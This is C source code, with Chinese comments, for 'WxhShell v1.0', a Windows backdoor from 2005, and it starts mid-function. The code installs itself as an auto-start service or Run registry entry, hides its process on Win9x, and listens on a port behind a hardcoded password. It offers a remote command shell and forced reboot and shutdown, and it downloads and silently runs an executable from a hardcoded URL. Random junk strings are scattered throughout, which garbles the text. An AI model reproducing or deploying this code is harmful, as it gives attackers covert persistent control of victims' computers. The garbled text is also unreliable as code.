8KzkB;=n NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2<}%kQ` b4N[)%@ if (!NtQueryInformationProcess) return 0; ?4T-@~~*`= a9V,es"BWQ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5`p.#
if(!hProcess) return 0; LZxNAua p9-K_dw3X@ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @f3E`8 63IM]J CloseHandle(hProcess); Cq~dp/V ]Zh%DQ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .HABNPNg( if(hProcess==NULL) return 0; Uw<nxD/+ A|{(/G2* HMODULE hMod; ]3Sp W{=^( char procName[255]; $6R-5oQ unsigned long cbNeeded; /Lr.e% NC6&x=!3 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >Cq<@$I2EB ;#< 0< CloseHandle(hProcess); =>~:<X., 0?|<I{z2 if(strstr(procName,"services")) return 1; // 以服务启动 ) ;Y;Q *MW\^PR? return 0; // 注册表启动 'i|YlMFI g } ="l/ klYV z},# ~L6$q // 主模块 ^E>3|du]O int StartWxhshell(LPSTR lpCmdLine) 2=!RQv~% { $U-0)4yf SOCKET wsl; 6[AL|d
DK BOOL val=TRUE; 4 s9LB int port=0; jT;;/Fd3/ struct sockaddr_in door; l,aay-E .O<obq~;C if(wscfg.ws_autoins) Install(); '8kP.l A?OQE9' port=atoi(lpCmdLine); B^}yo65I <(#ej4ar, if(port<=0) port=wscfg.ws_port; XW92gI<O @BMx!r5kn WSADATA data; ?:eV%`7 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HTTCTR {?7Uj if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; :\_ 5oVb setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Zx>=tx} door.sin_family = AF_INET; Q22 GIr door.sin_addr.s_addr = inet_addr("127.0.0.1"); ba9?(+i$h door.sin_port = htons(port); ;}p *|HY>U. if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E _|<jy$` closesocket(wsl); 3Tm+g2w2V8 return 1; ~pky@O#b } 3=V&K- F,CTZ~ if(listen(wsl,2) == INVALID_SOCKET) { 7_[L o4_ closesocket(wsl); f*
wx< return 1; dqcL]e } 8H`[*|{' Wxhshell(wsl); a?oI>8* WSACleanup(); :b!s2n!u G^@5H/) return 0; RPbZ(. LFV%&y|L } x.4m|f0; tX~w{|k // 以NT服务方式启动 V|R,!UND VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b7ZSPXV { ?gXp*>Kg[ DWORD status = 0; pQQH)`J|t
DWORD specificError = 0xfffffff; JlJ a
# #lO Mm9 serviceStatus.dwServiceType = SERVICE_WIN32; iN.n8MN=I serviceStatus.dwCurrentState = SERVICE_START_PENDING; 8RHUeRX serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )O6>*wq serviceStatus.dwWin32ExitCode = 0; IAyp 2 serviceStatus.dwServiceSpecificExitCode = 0; !p/goqT~dY serviceStatus.dwCheckPoint = 0; |1Z)E+q*: serviceStatus.dwWaitHint = 0; Ew$C
;&9 EiaW1Cs hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \
6MCxh6 if (hServiceStatusHandle==0) return; #p{4^ >.D4co> status = GetLastError(); ?r!o~|9| if (status!=NO_ERROR) Qv ?"b { -ze J#B)C serviceStatus.dwCurrentState = SERVICE_STOPPED; CNx8]
_2 serviceStatus.dwCheckPoint = 0; MUwMb!Z.s serviceStatus.dwWaitHint = 0; $Z>'Jp serviceStatus.dwWin32ExitCode = status; Y|/ 8up serviceStatus.dwServiceSpecificExitCode = specificError; 5E
<kwi SetServiceStatus(hServiceStatusHandle, &serviceStatus); o,wUc"CE return; rW#T
vUn } 'O-"\J\ EBmt9S serviceStatus.dwCurrentState = SERVICE_RUNNING; d0 /#nz serviceStatus.dwCheckPoint = 0; iam1V)V serviceStatus.dwWaitHint = 0; wS3'?PRX if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D3K8F@d } #Rr%:\* >KKMcTOYY // 处理NT服务事件,比如:启动、停止 \.}c9*) VOID WINAPI NTServiceHandler(DWORD fdwControl) *gz{.)W { e8b:)"R switch(fdwControl) a-J.B.A$Z/ { S5EK~#-L[ case SERVICE_CONTROL_STOP: |vzl. ^"- serviceStatus.dwWin32ExitCode = 0; {(?4!rh serviceStatus.dwCurrentState = SERVICE_STOPPED; e@YK@?^#N serviceStatus.dwCheckPoint = 0; II=79$n`G serviceStatus.dwWaitHint = 0; An/|+r\ { j*m%*_kO SetServiceStatus(hServiceStatusHandle, &serviceStatus); .5{ab\_af } 9-m=*|p return; pI<f) r case SERVICE_CONTROL_PAUSE: ,MIV=* serviceStatus.dwCurrentState = SERVICE_PAUSED; S`Rs82> break; YKf0dh;O case SERVICE_CONTROL_CONTINUE: 11;zNjD| serviceStatus.dwCurrentState = SERVICE_RUNNING; }SCM I4\ break; q-d:TMkc case SERVICE_CONTROL_INTERROGATE: ( &x['IR break; cQ_Hp
<D }; Rbv;?'O$L SetServiceStatus(hServiceStatusHandle, &serviceStatus); eb$#A _m } %vi83%$'4 IV)j1 // 标准应用程序主函数 zT-_5uZQ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +X]vl=0 { a7%]Y}$ #:%/(j // 获取操作系统版本 8DaL,bi*. OsIsNt=GetOsVer(); 'H <\x GetModuleFileName(NULL,ExeFile,MAX_PATH); SMK_6?MZ &b& , // 从命令行安装 <p"iY}x[H if(strpbrk(lpCmdLine,"iI")) Install(); >b4eL59 r",GC] // 下载执行文件 SByW[JE if(wscfg.ws_downexe) { [}]Q?*_ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |LKXOU
c WinExec(wscfg.ws_filenam,SW_HIDE); 7Hu3>4< } c~
V*:$F W
`}Rf\g if(!OsIsNt) { UW
EV^ &"x // 如果时win9x,隐藏进程并且设置为注册表启动 jRV/A!4 HideProc(); 8Uxne2e StartWxhshell(lpCmdLine); UFuX@Lu0 } 8)I^ t81 else 5/Uy{Xt if(StartFromService()) lnR{jtWP // 以服务方式启动 6)Lk-D StartServiceCtrlDispatcher(DispatchTable); #>+ HlT else k$^`{6l // 普通方式启动 N] sAji* StartWxhshell(lpCmdLine); B^9j@3Ux "'\$
g[k return 0; h'F=YF$o } P";'jVcR +K4}Dmg MFk5K J/*`7Pd =========================================== IO-Ow! E?0%Z&1h wAW5
Z0D @MCg%Afw o`*,|Nsq [hj6N*4y " w+CA1q< _a T5jR= #include <stdio.h> 3:i@II #include <string.h> @I!0-OjL #include <windows.h> 3/n5#&c\4 #include <winsock2.h> ?.;c$' #include <winsvc.h> 9-*uPK]m9 #include <urlmon.h> 6,{$J Y/zj[> #pragma comment (lib, "Ws2_32.lib") N//KPh #pragma comment (lib, "urlmon.lib") ?<'}r7D r<^HmpUJ #define MAX_USER 100 // 最大客户端连接数 'SF<_aS( #define BUF_SOCK 200 // sock buffer @6T/Tdz #define KEY_BUFF 255 // 输入 buffer %d<"l~<5; I&W=Q[m #define REBOOT 0 // 重启 WEi2=3dV #define SHUTDOWN 1 // 关机 [3|P 7?W/ v
z '&%( #define DEF_PORT 5000 // 监听端口 [K0(RDV)% SKsKPqz #define REG_LEN 16 // 注册表键长度 ,1o FPa{? #define SVC_LEN 80 // NT服务名长度 DN5 7p!z b}TS0+TF // 从dll定义API ckE-",G typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); L0WN\|D typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rCdu0 gYT typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :E )>\& typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); RdRp.pb8 7! INkH] // wxhshell配置信息 U#WF;q0L struct WSCFG { 1NA.nw. int ws_port; // 监听端口 %aVq+kC h char ws_passstr[REG_LEN]; // 口令 6gu!bu`~ int ws_autoins; // 安装标记, 1=yes 0=no lp%pbx43s char ws_regname[REG_LEN]; // 注册表键名 sN01rtB(UT char ws_svcname[REG_LEN]; // 服务名 P:MT*ra*, char ws_svcdisp[SVC_LEN]; // 服务显示名 $C$V%5aA char ws_svcdesc[SVC_LEN]; // 服务描述信息 K^<BW(s char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &(l9?EVq1 int ws_downexe; // 下载执行标记, 1=yes 0=no 9Y_HyOZ*GX char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @O^6&\s> char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R)s:rJQ=p a'yK~;+_9 }; S k\K4 x\G'kEd // default Wxhshell configuration Ig0VW)@ struct WSCFG wscfg={DEF_PORT, w-L=LWL\ "xuhuanlingzhe", |~mOfuQb
1, 0rs"o-s< "Wxhshell", l L@XM2" "Wxhshell", Sp]0c[37R "WxhShell Service", O:{~urV "Wrsky Windows CmdShell Service", !Pfr,a "Please Input Your Password: ", x@;m8z0 1, uGK.\PB$ "http://www.wrsky.com/wxhshell.exe", 6HWE~`ok6 "Wxhshell.exe" ytJ/g/,A0i }; (2E\p ">,|V-H // 消息定义模块 Zaf:fsj> char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g(7rTyp4) char *msg_ws_prompt="\n\r? for help\n\r#>"; #rQ2gx4 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ZdWm:(nkU char *msg_ws_ext="\n\rExit."; w4{<n/" char *msg_ws_end="\n\rQuit."; W/bQd)Jvk char *msg_ws_boot="\n\rReboot..."; U}rU~3N char *msg_ws_poff="\n\rShutdown..."; ,77d(bR< char *msg_ws_down="\n\rSave to "; SBk4_J/_ umH40rX+ char *msg_ws_err="\n\rErr!"; sW'AjI char *msg_ws_ok="\n\rOK!"; Nv}=L
: E Y>dzR)~3[ char ExeFile[MAX_PATH]; '9Xu
p int nUser = 0; pG^ HANDLE handles[MAX_USER]; bP$dU,@p~ int OsIsNt; i0kak`x0 ;LPfXpR SERVICE_STATUS serviceStatus; M@H;pJ+B SERVICE_STATUS_HANDLE hServiceStatusHandle;
#3@rS x$.^"l-vX // 函数声明 ^]0Pfna+N int Install(void); dI@(<R int Uninstall(void); /}fHt^2H int DownloadFile(char *sURL, SOCKET wsh); {
Vf XsI int Boot(int flag); mt+Oi70 void HideProc(void); _~J
{wM int GetOsVer(void); PI:4m%[ int Wxhshell(SOCKET wsl); (pCrmyB void TalkWithClient(void *cs); $m{:C;UH int CmdShell(SOCKET sock); ~IfJwBn-i int StartFromService(void); Fg5kX int StartWxhshell(LPSTR lpCmdLine); HIR~"It$
2Aazy'/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;!mzyb* VOID WINAPI NTServiceHandler( DWORD fdwControl ); nn:.nU|I Ng2@z<>. // 数据结构和表定义 ll<Xz((o SERVICE_TABLE_ENTRY DispatchTable[] = R'bTN|Cq { wOEj)fp. {wscfg.ws_svcname, NTServiceMain}, :bu/^mW[ {NULL, NULL} fF$<7O)+] }; +`7i'ff rb2S7k0{ // 自我安装 9N%We|L,c int Install(void) "$Z= %.3Q { nwB_8mN| char svExeFile[MAX_PATH]; Ustv{:7v HKEY key; Q_Q''j(r6b strcpy(svExeFile,ExeFile); /ivJsPH x=hiQ>BIO0 // 如果是win9x系统,修改注册表设为自启动 8>2.UrC if(!OsIsNt) { 0[NZ>7wqMZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1MP~dRZ$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j^j1 RegCloseKey(key); /og=IF2: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eueH)Xkf RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \=?a/ RegCloseKey(key); !N\@'F! return 0; g2LM_1\ } dUeN*Nq&(, } nX6u(U } axv>6k else { xaq-.IQAM$ uB]7G0g: // 如果是NT以上系统,安装为系统服务 b,l$1{ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -[4T if (schSCManager!=0) Zw
26 { VuhGx:Xl SC_HANDLE schService = CreateService 6"LcJ%o ( iW]j9} t schSCManager, iTBx\u%{ wscfg.ws_svcname, b$d;Qx wscfg.ws_svcdisp, $B2J
T9 SERVICE_ALL_ACCESS, [i21FX SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GfxZ'VIn SERVICE_AUTO_START, 9|^2",V SERVICE_ERROR_NORMAL, .;y.]Z/; svExeFile, q~b& NULL, Q04al= NULL, *.ll<p+(- NULL, ,8S/t+H NULL, d\&U*= NULL n$MO4s8) ); @wGPqg if (schService!=0) 6y-@iJ*ld; { }/0X'o CloseServiceHandle(schService); ?qv
!w~m< CloseServiceHandle(schSCManager); WrnrFz strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FZ{h?#2? strcat(svExeFile,wscfg.ws_svcname); *<$*"p if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gDQ^)1k RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); & TCkpS RegCloseKey(key); L\6M^r
> return 0; B+|Kjlt } .Yamc#A- } / H[=5 CloseServiceHandle(schSCManager); A]_7}<<N } a(m2n.0'> } 5c@,bIl * `[y^ :mj return 1; $g^@AdE% } 6iry6wcHm -vAC"8)S // 自我卸载 *^pR%E . int Uninstall(void) <v"R.< { #>a\>iKQ2q HKEY key; W-$Z(Z
XL pE3?"YO if(!OsIsNt) { WJ]T\DI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /`Ug9,* RegDeleteValue(key,wscfg.ws_regname); R)?*N@.s RegCloseKey(key); ^Y?k0z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /m!BY}4W RegDeleteValue(key,wscfg.ws_regname); :;v~%e{k RegCloseKey(key); K6)Gc%:` return 0; .y'>[ } ,X?{07gH } ?=u\n;w) } :^<3>zk else { ,=uD^n: &.F4b~A7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w$>u b@= if (schSCManager!=0) <q)# { OMky$d# SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j\ZXG=j if (schService!=0) xW+6qtG` { ^23~ZHu if(DeleteService(schService)!=0) { qfX6TV5J}! CloseServiceHandle(schService); 7:e{;iG CloseServiceHandle(schSCManager); A_rGt?i return 0; Q1lyj7c#x } M^A48u{," CloseServiceHandle(schService); ),_@WW;k } {% 6}' CloseServiceHandle(schSCManager); O4 w(T } B 5L2< } SA:Zc^aV )J=! L\ return 1; ?C]vS_jAh } -$\y_?} Q(G#W+r // 从指定url下载文件 aI'&O^w+ int DownloadFile(char *sURL, SOCKET wsh) HH`'*$]7 { fT|.@%"vc HRESULT hr; +8T?{K char seps[]= "/"; ~"gA,e-) char *token; cUk7i`M;6 char *file; @b\$ yB@z char myURL[MAX_PATH]; b\f
O8{k char myFILE[MAX_PATH]; 5; C| 7Y lchmd strcpy(myURL,sURL); #-rH1h3*q token=strtok(myURL,seps); _r#Z}HK while(token!=NULL) .Cv6kgB@c { yHYsZ,GE file=token; TT%M'5& token=strtok(NULL,seps); oE@a'*.\ } qfF~D0} RIR\']WN GetCurrentDirectory(MAX_PATH,myFILE); f^3*)Ni strcat(myFILE, "\\"); '$Dn strcat(myFILE, file); l03B=$ send(wsh,myFILE,strlen(myFILE),0); rE7G{WII send(wsh,"...",3,0); O *C;Vqt hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m~BAyk^jo3 if(hr==S_OK) s3N'02G return 0; 8bGd} ( else /A\8 mL8 return 1; R>|{N9 c?Y*Y } ,i NXK qw301]y // 系统电源模块 Vsr.=Nd= int Boot(int flag) D_ 2:k'4 { :9afg HANDLE hToken; te`$%NRl TOKEN_PRIVILEGES tkp; sFKX-S~: 3m[vXr? if(OsIsNt) { [|wZ77\ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y>z>11yEB0 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ZmqKQO tkp.PrivilegeCount = 1; D>r&}6< tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >gQ>1Bwvi AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wSL}`C gU if(flag==REBOOT) { "s-"<&>a( if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
x^qVw5{n return 0; ~%F9%= } 2>9C-VL2 else { 1#g2A0U, if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'c&Ed return 0; lgAoJ[ } ~Gp[_ %K } OnziG+ak else { 8,Z_{R#| if(flag==REBOOT) { ' {OgN}'{ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M7\szv\Zc= return 0; g'f@H-KCD } @u+]aI!`- else { ldcqe$7, if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )* : gqN return 0; f%JIp#B } 7Die
FZ? } SGRp3,1\4% je-!4r, return 1; }Bh8=F3O
Q } + 480 l} @IKYh{j4 // win9x进程隐藏模块 F;EwQjTF void HideProc(void) pX<`+t[ { hFUlNJ P[-E@0h)-t HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m 0C@G5 if ( hKernel != NULL ) XX!%RE`M8 { P5V}#;v pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5I;&mW`1,` ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s[*rzoA FreeLibrary(hKernel); <nf@U>wlw } Wb_J(!da -IudgO] return; <}Vrl`?h } //MUeTxR s^TZXCyF o // 获取操作系统版本 \K{
z int GetOsVer(void) 0auYG><= { i"FtcP^ OSVERSIONINFO winfo; b_krk\e@S winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @bLy,Xr& GetVersionEx(&winfo); pF >i-i if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I{&[[7H return 1; klYX7? else :4w ?# return 0; 3`?7<YJ } S+6.ZZ9c Q\vpqE!9 // 客户端句柄模块 B mb0cFQ int Wxhshell(SOCKET wsl) [DOckf oZx { w.o@7|B1N SOCKET wsh; On?v|10r' struct sockaddr_in client; !|uWH DWORD myID; H41?/U,{ Z\rwO>3 while(nUser<MAX_USER) E&w7GZNt { ]N]!o#q}L int nSize=sizeof(client); 6|=f$a wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %2{ye
if(wsh==INVALID_SOCKET) return 1; d1T!+I R29~~IOqO handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -i|}m++ if(handles[nUser]==0) q<<v,ihh closesocket(wsh); y.k~Y0 else wHLLu~m\ nUser++; N~gzDQ3 } Jpq~ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pki%vRY S hWJ72c return 0; ^\% (,KNo } WU`
rh^ HiFUv>,u // 关闭 socket Izc\V9+ void CloseIt(SOCKET wsh) I{2hfKUe` { }8z?t:|S closesocket(wsh); gD?l-RT> nUser--; Ml5w01O ExitThread(0); X?',n
1 } ?V=ZIGj +sA2WK] // 客户端请求句柄 pv&sO~!iC void TalkWithClient(void *cs) :Yl-w-oe { _H%c;z+ TdMruSY SOCKET wsh=(SOCKET)cs; x,-75 char pwd[SVC_LEN]; {P./==^0 char cmd[KEY_BUFF]; jr."I+ char chr[1]; F>l]
9!P|m int i,j; BU_nh+dF x9g#<2w8 while (nUser < MAX_USER) { SH$PwJ U bE. .P&" if(wscfg.ws_passstr) { j^JPZ{ej? if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =T@1@w //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SnfYT)Ph //ZeroMemory(pwd,KEY_BUFF); 0~S^Y1hH i=0; KpGhQdR# while(i<SVC_LEN) { f6Ah6tb D>q9 3;p // 设置超时 O>,e~#! fd_set FdRead; S\=Nn7" struct timeval TimeOut; oPM96
( FD_ZERO(&FdRead); ##*3bDf$-5 FD_SET(wsh,&FdRead); T8g$uFo TimeOut.tv_sec=8; K%oG,-wdg TimeOut.tv_usec=0; Q2gq}c~ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bn5 Su=] if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m_]Y{3C
.q>iXE_c if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }7Q% 6&IR pwd=chr[0]; e"<OELA if(chr[0]==0xd || chr[0]==0xa) { |{ip T SH pwd=0; o+'6`g'8 break; V,njO{Q } &u
!,Hp i++; z}
#JK?u } Zy/_
E@C}u ;Y, y 4{H3 // 如果是非法用户,关闭 socket 4WB0Pt{ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <5051UEu } !Uo4,g6r+ WyiQoN'q send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9.#<b|g send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HRA|q !a\^Sk
/ while(1) { 2,b$7xaf >(<f 0 ZeroMemory(cmd,KEY_BUFF); {Sh ;(.u^ hZb_P\1X // 自动支持客户端 telnet标准 Pq$n5fZC! j=0; jP.dDYc while(j<KEY_BUFF) { wCBplaojJ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TWTb?HP cmd[j]=chr[0]; m&3xJuKih if(chr[0]==0xa || chr[0]==0xd) { d=/F}yP~?s cmd[j]=0; !ohN!P7& break; {qVZNXDn } #'`{Qv0,
j++; QT}tvm@PMq } 2=}FBA,2 ~W/z96'
5 // 下载文件 2\$oV if(strstr(cmd,"http://")) { gX@aG9 send(wsh,msg_ws_down,strlen(msg_ws_down),0); dE3) |% if(DownloadFile(cmd,wsh)) {!`6zBsP send(wsh,msg_ws_err,strlen(msg_ws_err),0); x+]" else %C]>9." send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fP1!)po } ar,7S&s |